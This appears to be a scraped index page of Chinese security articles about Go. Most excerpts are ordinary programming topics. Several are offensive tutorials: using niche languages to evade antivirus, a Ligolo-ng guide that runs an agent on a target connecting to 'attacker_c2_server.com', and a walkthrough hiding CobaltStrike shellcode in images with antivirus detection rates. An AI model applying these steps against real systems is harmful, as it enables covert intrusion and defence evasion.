用Go编写的Elasticsearch的轻量级替代品 安全开发

用Go编写的Elasticsearch的轻量级替代品

【Zinc Search engine. A lightweight alternative to Elasticsearch written in Go】 Zinc 搜索引擎。 用 #Go# 编写的 Elasticsearch 的轻量级替代品。 ​​​地址:https:///github.com/prabhatsharma/zinc​​​ 原文始发于微信公众号(运维帮):用Go编写的Elasticsearch的轻量级替代品
阅读全文
Go代码审计—Gorm框架常见SQL注入场景 SecIN安全技术社区

Go代码审计—Gorm框架常见SQL注入场景

一、关于GORM Go有诸多的ORM框架,GORM是Golang语言中一款性能极好的ORM库,对开发人员相对是比较友好的。当然原生库、xorm等也是比较出名的,感兴趣的也可以看看这些,但使用场景最多的还属gorm。 Gorm功能概览 全功能ORM(几乎) 关联(包含一个,包含多个,属于,多对多,多种包含) Callbacks(创建/保存/更新/删除/查找之前/之后) 预加载(急加载) 事务 复合主键 SQL Builder 自动迁移 日志 可扩展,编写基于GORM回调的插件 每个功能都有测试 开发人员友好 安装十分简单,只需要一条go get**命令即可。 go get -u github.com/jinzhu/gorm 下面是一个简单的demo,这里以mysql为例,方便快速了解上手。 go  package main    import (   "github.com/jinzhu/gorm"   _ "github.com/jinzhu/gorm/dialects/mysql"   "log"  )    // UserInfo record model  type UserInfo struct {   Id int `gorm:"column:id"`   Age int `gorm:"column:age"`   Name string `gorm:"column:name"`   Address string `gorm:"column:address"`   Content string `gorm:"column:content"`  }    // TableName 设置User的表名为`userinfo`, 默认会是userinfos  func (UserInfo) TableName() string {   return "userinfo"  }      func main() {   db, err := gorm.Open("mysql", "root:[email protected](127.0.0.1:3306)/test?charset=utf8mb4&parseTime=True&loc=Local")   if err != nil {   log.Fatal(err)...
阅读全文
如何消除Go的编译特征.md 安全开发

如何消除Go的编译特征.md

Go默认编译会自带一堆信息,通过这些信息基本可以还原Go的源码架构,本文就是研究如何消除或者混淆这些信息,记录了这个研究过程,如果不想看可以直接跳到文章末尾,文章末尾提供了一款工具,可以一键消除Go二进制中的这些敏感信息。但还是推荐看看研究过程,可以明白这个工具的运行原理。从逆向Go开始先写一个简单的程序我的go版本是go version go1.16.2 windows/amd64package mainimport ( "fmt" "log" "math/rand")func main() { fmt.Println("hello world!") log.SetFlags(log.Lshortfile | log.LstdFlags) for i:=0;i<10;i++{ log.Println(rand.Intn(100)) } panic("11")}编译go build main.go它运行后会如下输出image-20210628160551219可以观察到程序日志打印时打印了文件名,panic抛出错误的时候堆栈的文件名也抛出了,可以想象Go编译的二进制程序内部肯定有个数据结构存储了这些信息。用IDA打开这个二进制image-20210628161302422能够看到函数符号的名称。查看PE的结构发现有个symtab区段image-20210628161644212原来普通的使用go build .进行编译,会连符号和调试信息一起编译到里面。重新使用命令编译go build -ldflags "-s -w" main.go再次用IDA打开,发现符号信息都不见了。image-20210628162432087再次运行程序,却发现文件路径信息还是存在。image-20210628162501129但是自己写的代码中根本没有这些字符啊,只可能是go在编译的时候自己打包进去的。所以引出两个问题Go为什么要打包这些信息Go打包了哪些信息Go为什么要打包这些信息Go 二进制文件里打包进去了 「runtime」 和 「GC」 模块,还有独特的 「Type Reflection」(类型反射) 和 「Stack Trace」 机制,都需要用到这些信息。来自 Go二进制文件逆向分析从基础到进阶——综述 - 安全客,安全资讯平台 (anquanke.com)长按识别二维码查看原文https://www.anquanke.com/post/id/214940标题:Go二进制文件逆向分析从基础到进阶——综述 - 安全客,安全资讯平台 (anquanke.com)      Go打包了哪些信息Go VersionGo BuildIDGOROOT函数名称和源码路径struct 和 type 和 interfaceimgGo逆向方式看 https://www.anquanke.com/post/id/214940 这篇文章就能知道,通过解析Go二进制中这些内置的数据结构,就可以还原出符号信息。有安全研究员发现除了可以从 「pclntab」 结构中解析、恢复函数符号,Go 二进制文件中还有大量的类型、方法定义的信息,也可以解析出来。这样就可以大大方便对 Go 二进制文件中复杂数据结构的逆向分析。基于这种方式,已经有人写好了ida的脚本来恢复https://github.com/0xjiayu/go_parser仅支持到Go1.6,Go1.6之后数据结构有略微的改动,但是项目还没更新https://github.com/renzhexigua/go_parser/tree/py3_1.16支持到Go1.6的脚本运行这些脚本,就能还原一些符号信息了。image-20210628172800127redress和gore前面的是基于IDA的脚本,因为Go也内置了自己的数据结构,用Go来解析Go更方便。goretk/redress: Redress - A tool for analyzing stripped Go binarieshttps://github.com/goretk/redress.redress.exe -pkg -std -filepath -interface main.exeimage-20210628185810359image-20210628185822332redress只是工具的前端,如果看它代码的话会发现,实际的解析代码在https://github.com/goretk/gore这款工具能从Go二进制中获取非常多的信息,几乎可以用它来还原Go的源码结构,这么神奇的工具,怎能不看看它是如何实现的呢。GoRE 代码学习在GoRE中,PCLNTab是直接使用内置的debug/gosym生成,可用于获取源码路径和函数名称。其他解析数据结构的地方很枯燥,有兴趣可以看@J!4Yu师傅的文章,很全面的讲解了Go的数据结构https://www.anquanke.com/post/id/214940我就说说看得几个有意思的点Go version 获取go官方命令go version不仅可以获取自身的go版本信息,如果后面跟一个Go文件路径, 就能获得那个文件的go的编译器信息。image-20210628111740455查看Go源代码,看看是怎么实现的srccmdgointernalversionversion.govar buildInfoMagic = byte("xff Go buildinf:")Go官方是通过搜索这个魔术字符,用IDA定位到这个地方,可以看到,这个魔术字符后面就跟着Go版本信息的地址偏移。image-20210628110615071官方实现代码// The build info blob left by the linker is identified by// a...
阅读全文
『每周译Go』定位并修复 Go 中的内存泄漏 安全开发

『每周译Go』定位并修复 Go 中的内存泄漏

这篇文章回顾了我是如何发现内存泄漏、如何修复它、如何修复 Google 中的 Go 示例代码中的类似问题,以及我们是如何改进我们的基础库防止未来再次发生这种情况。Google 云的 Go 的客户端基础库(https://github.com/googleapis/google-cloud-go)通常在底层使用 gRPC 来连接 Google 云的接口。当你创建一个客户端时,库会初始化一个与该 接口的连接,然后让这个连接保持打开状态,直到你在该客户端上调用 Close 操作。client, err := api.NewClient()// Check err.defer client.Close()客户端并发地使用是安全的,所以应该在使用完之前保留同一个客户端。但是,如果在应该关闭客户端的时候而没有关闭,会发生什么呢?你会得到一个内存泄漏:底层连接从未被释放过。Google 有一堆的 GitHub 自动化机器人,帮助管理数以百计的 GitHub 仓库。我们的一些机器人通过云上运行的(https://cloud.google.com/run/docs/quickstarts/build-and-deploy/go)上的Go 服务(https://github.com/googleapis/repo-automation-bots/tree/main/serverless-scheduler-proxy)代理它们的请求。我们的内存使用情况看起来就是典型的锯齿状内存泄漏情况。我通过在程序中添加 pprof.Index 开始调试:mux.HandleFunc("/debug/pprof/", pprof.Index)pprof 提供运行时的分析数据,比如内存使用量。访问 Go 官方博客中的 分析 Go 程序(https://blog.golang.org/pprof)获取更多信息.然后,我在本地构建并启动了该服务:$ go build$ PROJECT_ID=my-project PORT=8080 ./serverless-scheduler-proxy然后,我向这个服务发送了一些构造的请求:for i in {1..5}; docurl --header "Content-Type: application/json" --request POST --data '{"name": "HelloHTTP", "type": "testing", "location": "us-central1"}' localhost:8080/v0/cronecho " -- $i"done具体的负载和路径是针对我们服务的,与本文无关。为了获取一个关于内存使用情况的基线数据,我收集了一些初始的 pprof 数据。curl http://localhost:8080/debug/pprof/heap > heap.0.pprof通过检查输出的结果,可以看到一些内存的使用情况,但并没有发现徒增的问题(这很好!因为我们刚刚启动服务!)。$ go tool pprof heap.0.pprofFile: serverless-scheduler-proxyType: inuse_spaceTime: May 4, 2021 at 9:33am (EDT)Entering interactive mode (type "help" for commands, "o" for options)(pprof) top10Showing nodes accounting for 2129.67kB, 100% of 2129.67kB totalShowing top 10 nodes out of 30      flat  flat%   sum%        cum   cum% 1089.33kB 51.15% 51.15%  1089.33kB 51.15%  google.golang.org/grpc/internal/transport.newBufWriter (inline)  528.17kB 24.80% 75.95%   528.17kB 24.80%  bufio.NewReaderSize (inline)  512.17kB 24.05%   100%   512.17kB 24.05%  google.golang.org/grpc/metadata.Join         0     0%   100%   512.17kB 24.05%  cloud.google.com/go/secretmanager/apiv1.(*Client).AccessSecretVersion         0     0%   100%   512.17kB 24.05%  cloud.google.com/go/secretmanager/apiv1.(*Client).AccessSecretVersion.func1         0     0%   100%   512.17kB 24.05%  github.com/googleapis/gax-go/v2.Invoke         0     0%   100%   512.17kB 24.05%  github.com/googleapis/gax-go/v2.invoke         0     0%   100%   512.17kB 24.05%  google.golang.org/genproto/googleapis/cloud/secretmanager/v1.(*secretManagerServiceClient).AccessSecretVersion         0     0%   100%   512.17kB 24.05%  google.golang.org/grpc.(*ClientConn).Invoke         0     0%   100%  1617.50kB 75.95%  google.golang.org/grpc.(*addrConn).createTransport接下来继续向服务发送一批请求,看看我们是否会出现(1)重现前面的内存泄漏,(2)确定泄漏是什么。发送 500 个请求:for i in {1..500}; docurl --header "Content-Type: application/json" --request POST --data '{"name": "HelloHTTP", "type": "testing", "location": "us-central1"}' localhost:8080/v0/cronecho " -- $i"done收集并分析更多的 pprof 数据:$ curl http://localhost:8080/debug/pprof/heap > heap.6.pprof$ go tool pprof heap.6.pprofFile: serverless-scheduler-proxyType: inuse_spaceTime: May 4, 2021 at 9:50am (EDT)Entering interactive mode (type "help" for commands, "o" for options)(pprof) top10Showing nodes accounting for 94.74MB, 94.49% of 100.26MB totalDropped 26 nodes (cum <= 0.50MB)Showing top 10 nodes out of 101      flat  flat%   sum%        cum   cum%   51.59MB 51.46% 51.46%    51.59MB 51.46%  google.golang.org/grpc/internal/transport.newBufWriter   19.60MB 19.55% 71.01%    19.60MB 19.55%  bufio.NewReaderSize    6.02MB  6.01% 77.02%     6.02MB  6.01%  bytes.makeSlice    4.51MB  4.50% 81.52%    10.53MB 10.51%  crypto/tls.(*Conn).readHandshake       4MB  3.99% 85.51%     4.50MB  4.49%  crypto/x509.parseCertificate       3MB  2.99% 88.51%        3MB  2.99%  crypto/tls.Client    2.50MB  2.49% 91.00%     2.50MB  2.49%  golang.org/x/net/http2/hpack.(*headerFieldTable).addEntry    1.50MB  1.50% 92.50%     1.50MB  1.50%  google.golang.org/grpc/internal/grpcsync.NewEvent       1MB     1% 93.50%        1MB     1%  runtime.malg       1MB     1% 94.49%        1MB     1%  encoding/json.(*decodeState).literalStoregoogle.golang.org/grpc/internal/transport.newBufWriter很明显占用了大量的内存! 这就是内存泄漏与什么有关的第一个迹象:gRPC。结合源码,我们唯一使用 gRPC 的地方是Google 云秘钥管理部分(https://cloud.google.com/secret-manager/docs/quickstart)。client, err := secretmanager.NewClient(ctx) if err != nil { return nil, fmt.Errorf("failed to create secretmanager client: %v", err) } 我们从未调用过client.Close(),并且在每个请求中都创建了一个Client! 所以,我添加了一个Close调用,问题就解决了。defer client.Close()我提交了这个修复, 它 自动部署完成后(https://cloud.google.com/build/docs/deploying-builds/deploy-cloud-run), 毛刺显现立即消失了!哇呜! 🎉🎉🎉大约在同一时间,一个用户在我们的云上的 Go 实例代码库(https://github.com/GoogleCloudPlatform/golang-samples)上提出了一个问题,其中包含了cloud.google.com上文档的大部分 Go 示例程序。该用户注意到我们在其中一个程序中忘记了 client.Close() 关闭客户端!我看到同样的事情出现过几次,所以我决定调查整个仓库。我从粗略估计有多少受影响的文件开始。使用 grep 命令,我们可以得到一个包含 NewClient 风格调用的所有文件的列表,然后把这个列表传递给另一个 grep 调用,只列出不包含Close的文件,同时忽略测试文件。$ grep -L Close $(grep -El 'New*Client' **/*.go) | grep -v test译者注:列出包含New*Client,但不包含Close的所有 go 文件哇呜! 总共有 207 个文件,而整个 GoogleCloudPlatform/golang-samples(https://github.com/GoogleCloudPlatform/golang-samples) 仓库中有大约 1300 个 .go 文件.鉴于问题的规模,我认为一些简单的自动化会很值得(https://xkcd.com/1205/)。我不想写一个完整的 Go 程序来编辑这些文件,所以我选择用 Bash 脚本。$ grep -L Close $(grep -El 'New*Client' **/*.go) | grep -v test | xargs sed -i '/New*Client/,/}/s/}/}ndefer client.Close()/'它是完美的吗?不,但它在工作量上能给我省好多事?是的!第一部分(直到 test)与上面完全一样 -- 获得所有可能受影响的文件的列表(那些创建了 Client 但从未调用 Close 的文件)。然后,我把这个文件列表传给 sed 进行实际编辑。xargs 调用传递的命令,stdin...
阅读全文
渗透测试之冷门语言的利用 安全文章

渗透测试之冷门语言的利用

主要介绍两种被使用的不多的冷门语言来减少一些对抗AV的难度,就像现在的Nim和之前的Go、Python同理。V Lang这是一门新发布的语言由Alexander Medvednikov发起,开源时间为2019年6月22日。目前贡献者已有4百多人,快速迭代开发中。目前,语言的稳定性和成熟度肯定还需要时间完善,不能期望太高。V语言官网: https://vlang.io/V语言代码库:https://github.com/vlangV语言社区dicord:https://discord.com/invite/vlangV感觉就是go+rust+c的结合体,吸收了这三者的优点,不过像go更多一点。V语言的目标作者希望把V变成一个通用编程语言:能够像C那样,成为新一代的主流静态类型语言。能够像C/C++/rust那样,用来开发操作系统,数据库,浏览器等核心系统。能够像shell/python那样,用来写系统脚本。能够像python那样,用来写机器学习。能够像go/java那样,用来写网络应用。能够像C/C++那样,用来写GUI图形框架。能够像ts那样,用来编译生成js前端代码。下图为V语言的吉祥物,还是有点好看的。目前V语言的编译需要依赖C编译器:gcc或clang,如果没有C编译器,可以参考以下文档,进行安装:https://github.com/vlang/v/wiki/Installing-a-C-compiler-on-Windows或者直接去官网搞一个预编译安装包,IDE方面推荐VScode,因为有现成的插件。如果都没问题了之后,可以尝试运行下面的代码:module mainfn main() { println("hello V")}而其可以完美的调用C的代码库,只需要#include宏或#define宏,编译时这些宏会被原封不动地搬到生成的C代码中,下面看一个简单的例子就知道了。module main#include <stdio.h> fn C.getpid() int fn C.GetComputerName(lpFileName &u16, nSize u32)intfn hostname1() string{ mut sz := 256 mut buf := unsafe{&u16(malloc(256))} defer{ unsafe{free(buf)} } if C.GetComputerName(voidptr(buf), u32(&sz)) == 0{ eprintln(C.errno) } ret := unsafe{string_from_wide2(buf, sz)} return ret}fn main(){ pid:=C.getpid() println(pid) println(hostname1())}另外V也提供了各种各样的库供我们使用,比如操作系统的os库,有人新建了一个关于V的仓库,这里可以参考着来学:https://github.com/diljith369/OffensiveVLang/问题也跟NIm差不多,就是编译体积比较大,简单cs的shellcode混淆后目前可过windows defenderaardio语言官网地址:https://www.aardio.com/这个就不多介绍了,时间比较久了,可能有些人有过使用。感兴趣的可以去看这篇文章:https://www.secquan.org/Notes/1072352里面写的比较详细,且附带shellcode loader代码。参考文章:https://github.com/lydiandy/vlang_note     ▼更多精彩推荐,请关注我们▼请严格遵守网络安全法相关条例!此分享主要用于学习,切勿走上违法犯罪的不归路,一切后果自付! 原文始发于微信公众号(鸿鹄实验室):渗透测试之冷门语言的利用
阅读全文
「GoCN酷Go推荐」重试工具 — retry-go 安全工具

「GoCN酷Go推荐」重试工具 — retry-go

简介在微服务架构中,通常会有很多的小服务,小服务之间存在大量 RPC 调用,但时常因为网络抖动等原因,造成请求失败,这时候使用重试机制可以提高请求的最终成功率,减少故障影响,让系统运行更稳定。retry-go 是一个功能比较完善的 golang 重试库。如何使用retry-go的使用非常简单,直接使用 Do方法即可。如下是一个发起 HTTP Get 请求的重试示例 :url := "https://gocn.vip"var body byteerr := retry.Do( func() error {  resp, err := http.Get(url)  if err != nil {   return err  }  defer resp.Body.Close()  body, err = ioutil.ReadAll(resp.Body)  if err != nil {   return err  }  return nil },)fmt.Println(body)调用时,有一些可选的配置项:attempts 最大重试次数delay 重试延迟时间maxDelay 最大重试延迟时间,选择指数退避策略时,该配置会限制等待时间上限maxJitter 随机退避策略的最大等待时间onRetry 每次重试时进行的一次回调retryIf 重试时的一个条件判断delayType 退避策略类型lastErrorOnly 是否只返回上次重试的错误BackOff 退避策略对于一些暂时性的错误,如网络抖动等,立即重试可能还是会失败,通常等待一小会儿再重试的话成功率会较高,并且这种策略也可以打散上游重试的时间,避免同时重试而导致的瞬间流量高峰。决定等待多久之后再重试的方法叫做退避策略。retry-go 实现了以下几个退避策略:func BackOffDelayfunc BackOffDelay(n uint, _ error, config *Config) time.DurationBackOffDelay 提供一个指数避退策略,连续重试时,每次等待时间都是前一次的 2 倍。func FixedDelayfunc FixedDelay(_ uint, _ error, config *Config) time.DurationFixedDelay 在每次重试时,等待一个固定延迟时间。func RandomDelayfunc RandomDelay(_ uint, _ error, config *Config) time.DurationRandomDelay 在 0 - config.maxJitter 内随机等待一个时间后重试。func CombineDelayfunc CombineDelay(delays ...DelayTypeFunc) DelayTypeFuncCombineDelay  提供结合多种策略实现一个新策略的能力。retry-go默认的退避策略为  BackOffDelay和RandomDelay结合的方式,即在指数递增的同时,加一个随机时间。自定义的延时策略下面是一个官方给出的例子,当请求的响应有Retry-After头时,使用该值去进行等待,其他情况按照BackOffDelay策略进行延时等待。var _ error = (*RetriableError)(nil)func test2(){ var body byte err := retry.Do(  func() error {   resp, err := http.Get("URL")   if err == nil {    defer func() {     if err := resp.Body.Close(); err != nil {      panic(err)     }    }()    body, err = ioutil.ReadAll(resp.Body)    if resp.StatusCode != 200 {     err = fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(body))     if resp.StatusCode == http.StatusTooManyRequests {      // check Retry-After header if it contains seconds to wait for the next retry      if retryAfter, e := strconv.ParseInt(resp.Header.Get("Retry-After"), 10, 32); e == nil {       // the server returns 0 to inform that the operation cannot be retried       if retryAfter <= 0 {        return retry.Unrecoverable(err)       }       return &RetriableError{        Err:        err,        RetryAfter: time.Duration(retryAfter) * time.Second,       }      }      // A real implementation should also try to http.Parse the retryAfter response header      // to conform with HTTP specification. Herein we know here that we return only seconds.     }    }   }   return err  },  retry.DelayType(func(n uint, err error, config *retry.Config) time.Duration {   fmt.Println("Server fails with: " + err.Error())   if retriable, ok := err.(*RetriableError); ok {    fmt.Printf("Client follows server recommendation to retry after %vn", retriable.RetryAfter)    return retriable.RetryAfter   }   // apply a default exponential back off strategy   return retry.BackOffDelay(n, err, config)  }), ) fmt.Println("Server responds with: " + string(body))}总结重试可以提升服务调用的成功率,但重试时也要警惕由此带来的放大故障的风险。选择合适的退避策略,控制放大效应,才能优雅的提升服务的稳定性。Reference如何优雅地重试-InfoQ 重试、超时和退避 | nettee 的 blog《酷Go推荐》招募:各位Gopher同学,最近我们社区打算推出一个类似GoCN每日新闻的新栏目《酷Go推荐》,主要是每周推荐一个库或者好的项目,然后写一点这个库使用方法或者优点之类的,这样可以真正的帮助到大家能够学习到新的库,并且知道怎么用。大概规则和每日新闻类似,如果报名人多的话每个人一个月轮到一次,欢迎大家报名!戳「阅读原文」,即可报名扫码也可以加入 GoCN 的大家族哟~ 原文始发于微信公众号(GoCN):「GoCN酷Go推荐」重试工具 — retry-go
阅读全文
Go实战营学员interface源码分析大赛作品展示 安全开发

Go实战营学员interface源码分析大赛作品展示

大家都知道曹大举办的《Go高级工程师实战营》已经开始了,在过去一个月时间里面,我们学员跟着曹大学习了Go的底层实现逻辑,例如我们常见的数据结构的设计和实现,如下图所示曹大在授课中采用了大量的动画和源码案例分析,教会了大家如何去阅读源码,各种原理如何理解,工具如何使用。‍‍‍‍所以某一天在和学员的交流中,我们突发奇想,举办第一届《Go实战营源码分析大赛》,我们几个助教、曹大一起筹划了此次大赛,我们希望通过大赛提高大家分析源码的能力、展现知识点的能力以及小组协作的能力。所以经过和GopherChina大会组委会的讨论,给获奖的学员提供了丰厚的奖品:全组成员每人一张GopherChina大会的门票。大赛赛题题目: interface的原理分析 大家都知道interface在Go里面属于天才级的发明,那么他背后到底蕴含了怎么的设计原理呢?希望大家通过分析能够搞清楚原理,同时又能通过图文并茂的方式展现出来。参赛形式:以小组为单位评选经过五天紧张的分析和制作时间,每个团队都制作出来了最后的视频分享,现在开放给所有的Gopher,大家一起通过我们学员的视频学习一下interface到底是怎么运行的。最后如果你喜欢某一组,请投出你宝贵的一票一班5组 2班打洞组 2班6组 4班6组 4班7组 5班8组 本文始发于微信公众号(GoCN):Go实战营学员interface源码分析大赛作品展示
阅读全文
工具推荐: dismap 快速资产发现和指纹识别 安全工具

工具推荐: dismap 快速资产发现和指纹识别

编者推语:    此文是对zhzyker的dismap的主动推荐。    众所周知,最近一直在运维指纹识别这一个节点的工具。    Whatweb增强版在功能和插件(8k)上已经进行了足够多的的更新,除开指纹去重的这种常见问题外,但在易用性上还有所缺陷,规划的下一步是往Go程序发展。    虽然思考实现动态解析Go脚本来完全重构,然而发现其实现难度还是比较大的,由于个人的时间原因没有办法去攻克。    看到dismap的指纹规则,发现思路可以适当转换,比如让用户能够自定义常用的请求信息,这样就能够适应大部分的请求情况(支持shiro和fastjson识别)。    这是目前发现在指纹扩展参数上最多的一个红队快速资产发现工具,大家有兴趣的话可以基于这个dismap的现有代码实现一个新的指纹识别工具。About dismapDismap 定位是一个适用于内外网的资产发现和识别工具;其特色功能在于快速识别 Web 指纹信息,定位资产类型。辅助红队快速定位目标资产信息,辅助蓝队发现疑似脆弱点。Dismap 拥有完善的指纹规则库,可轻松自定义新识别规则。识别结果可直接丢给 Vulmap(>=0.8) 进行漏洞扫描实现简易联动。项目地址:https://github.com/zhzyker/dismap工具最初定位为内网工具,自我感触在大型攻防活动中,经常由于精力有限略过内网网站,而靠内网数据库、弱口令、FTP、SMB 之类的目标来刷分,但多数内网往往分数达不到自己预期,故思理论上内网网站脆弱性肯定比外网高,实际上确不怎么打,还是内网精力分配的差异,又搞一个快速识别网段(内网)所有 Web 资产类型出来的工具,岂不就能针对性逮好打的拿分了~后续因测试需求经常在互联网(外网)中扫描识别测试,惊奇的发现这玩意扫整个外网网段时效果远远高于自己预期,往往一个 C 段 200 左右个存活 IP 几个 Tomcat、多少 Shiro、一堆 Spring、一些 Struts2 的网站清清楚楚摆在眼前,偶尔在蹦出来一堆其他 Web 应用,简直不要太快乐。授权问题仅贴自己搭建环境的效果图:Get & Run下载链接:https://github.com/zhzyker/dismap/releases默认编译了以下支持的系统类型:dismap-darwin-amd64  6.66 MBdismap-darwin-arm64  6.48 MBdismap-linux-amd64  6.78 MBdismap-linux-x86  6.02 MBdismap-windows-amd64.exe  6.77 MBdismap-windows-x86.exe  6.07 MB运行:# Linux and [email protected]:~$ chmod +x [email protected]:~$ ./dismap -h# WindowsC:UserszhzykerDesktop> dismap.exe -hOptons功能和参数使用解读视频(Bilibili):https://www.bilibili.com/video/BV13L411b79E常规参数:-file string Select a URL file for batch identification # 从文件中读取 Url 进行批量识别-ip string Network segment # 指定一个网段,格式示例: 192.168.1.1/24 192.168.1.1-100 192.168.1.1-192.168.1.254-np Not use ICMP/PING to detect surviving hosts # 不进行主机存活检测,跳过存活检测直接识别 Url-output string Save the scan results to the specified file (default "output.txt") # 自定义识别结果输出文件,默认追加到 output.txt 中-port string Custom scan ports # 自定义需要扫描的 Web 端口,默认端口在 /config/config.go 中-thread int Number of concurrent threads, (adapted to...
阅读全文
如何使用Ligolo-ng建立隐蔽的通信信道 安全文章

如何使用Ligolo-ng建立隐蔽的通信信道

关于Ligolo-ng Ligolo-ng是一款高级信道工具,该工具基于TUN接口实现其功能。Ligolo-ng是一款轻量级的快速工具,可以帮助广大渗透测试人员利用反向TCP/TLS连接建立一条隐蔽的通信信道,而且无需SOCKS支持。 功能介绍 Tun接口(不再需要SOCKS); 简单的UI界面,支持选择代理和网络信息; 易于使用,易于安装; 基于Let’s Encrypt的自动化证书配置; 高性能(多路复用); 不需要高级权限; 套接字监听/代理绑定; 多平台代理支持; 工具构建 构建Ligolo-ng $ go build -o agent cmd/agent/main.go$ go build -o proxy cmd/proxy/main.go# Build agent for Windows$ GOOS=windows go build -o agent.exe cmd/agent/main.go 安装Ligolo-ng 我们需要在自己的命令控制服务器上开启代理服务,默认使用11601端口监听: $ sudo ip tuntap add user  mode tun ligolo$ sudo ip link set ligolo up$ ./proxy -h # Help options$ ./proxy -autocert # Automatically request LetsEncrypt certificates 工具使用 首先,我们需要在目标设备上启动代理(无需特殊权限): $ ./agent -connect attacker_c2_server.com:11601 此时,代理服务器上将出现一条会话链接: INFO Agent joined. [email protected] remote="XX.XX.XX.XX:38000" 使用“session”命令选择代理: ligolo-ng » session? Specify a session : 1 - [email protected] - XX.XX.XX.XX:38000 使用“ifconfig”命令显示代理的网络配置信息:  » ifconfig┌─────────────────────────────────────────────┐│ Interface 3                                 │├──────────────┬──────────────────────────────┤│ Name         │ wlp3s0                       ││ Hardware MAC │ de:ad:be:ef:ca:fe            ││ MTU          │ 1500                         ││ Flags        │ up|broadcast|multicast       ││ IPv4 Address │ 192.168.0.30/24             │└──────────────┴──────────────────────────────┘在代理/中继服务器上添加一条指向192.168.0.0/24代理网络的路由:$ sudo ip route add 192.168.0.0/24 dev ligolo 最后,在代理上开启一条通信信道:  » start » INFO Starting tunnel to [email protected] 现在,你就可以通过代理服务器访问192.168.0.0/24代理网络: $ nmap 192.168.0.0/24 -v -sV -n$ rdesktop 192.168.0.123 支持的协议/数据包 TCP UDP ICMP 性能 在Ligolo-ng的帮助下,你可以轻松达到100 Mbits/秒的速度。下面给出的测试结果是在一台200Mbits/s服务器上使用iperf测试的一条200Mbits/s的链接: $ iperf3 -c 10.10.0.1 -p 24483Connecting to host 10.10.0.1, port 24483 local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483 Interval           Transfer     Bitrate         Retr  Cwnd   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes   8.00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes- - - - - - - - - - - - - - - - - - - - - - - - - Interval           Transfer     Bitrate         Retr   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiver 注意事项 由于代理并不是以高级权限运行的,因此无法转发原始数据包。当你执行“NMAP SYN-SCAN”的时候,代理上会执行一次TCP connect()。 在使用Nmap时,你应该使用“—unprivileged”或“-PE”以避免假阳性。 项目地址 Ligolo-ng:【点击阅读原文】 精彩推荐 相关推荐: 安全工程师都在学的编程语言 为啥一线大厂的重要业务都在用 Go...
阅读全文
ATT&CK实战系列-红队评估 (一)Vulnstack靶场内网域渗透 安全文章

ATT&CK实战系列-红队评估 (一)Vulnstack靶场内网域渗透

相关推荐: 安全工程师都在学的编程语言为啥一线大厂的重要业务都在用 Go 技术栈开发,每次招聘也有大量 Go 开发岗的 HC 放出,以 Go 为主力开发语言的校招生,还是这么少? 图源:牛客网 我想很大一部分原因,还是和传统教学内容与就业市场需求不精准匹配有关。虽然市场需要 Go 研发工程师,但学…
阅读全文
干货|使用Go语言在图片中隐藏Shellcode CTF专场

干货|使用Go语言在图片中隐藏Shellcode

前言 最近在 Github 上发现一个有趣的项目: https://github.com/Hangingsword/HouQing 该项目是用 Go 语言编写的免杀项目,可以将生成的 Shellcode 隐藏进图片中,然后让目标主机进行远程加载调用。 项目中有两个两个主要文件: image-20210926172410513 •code.go:用于生成含有 Shellcode 的图片。•Loader.go:用于远程加载图片里的 Shellcode。 实战演示 首先需要修改项目中 code.go 和 Loader.go 的源码: image-20210921145406091 改一下两个 KEY 的值,需要同时修改并且两个问价中的数值相同。 然后使用 CobaltStrike 生成 Java 类型的 Shellcode: image-20210921145546888 生成 payload.java,把里面的核心 Shellcode 取出来放入到 code.go 里: image-20210921150226175 然后随便找一张 jpg 图片进行 Shellcode 的注入: go run code.go shell.jpg image-20210921150833041 然后将图片上传到未经压缩过的图床上: image-20210921151024277 在 Loader.go 中写入图片 shell.jpg 的远程地址: image-20210921151142587 在本地执行以下命令测试: go run Loader.go image-20210921152640372 如上图所示,目标主机成功上线。 最后,我们执行以下命令,将加载器 Loader.go 编译成可执行文件: go build -ldflags="-H windowsgui" Loader.go// -ldflags="-H windowsgui" 防止弹窗 image-20210921153012573 在目标主机上执行 Loader.exe 即可上线: image-20210921153314834 查杀测试 该图片 shell.png 在 virustotal 上的查杀率为 0/57: image-20210921153927844 Loader.exe 在 virustotal 上的查杀率为 8/62: image-20210921154445190 推荐阅读 免杀|利用RGB隐写隐藏Shellcode 点赞    在看    转发 相关推荐: Exchange Autodiscover凭据泄露风险提示...
阅读全文
安全工程师都在学的编程语言 安全闲碎

安全工程师都在学的编程语言

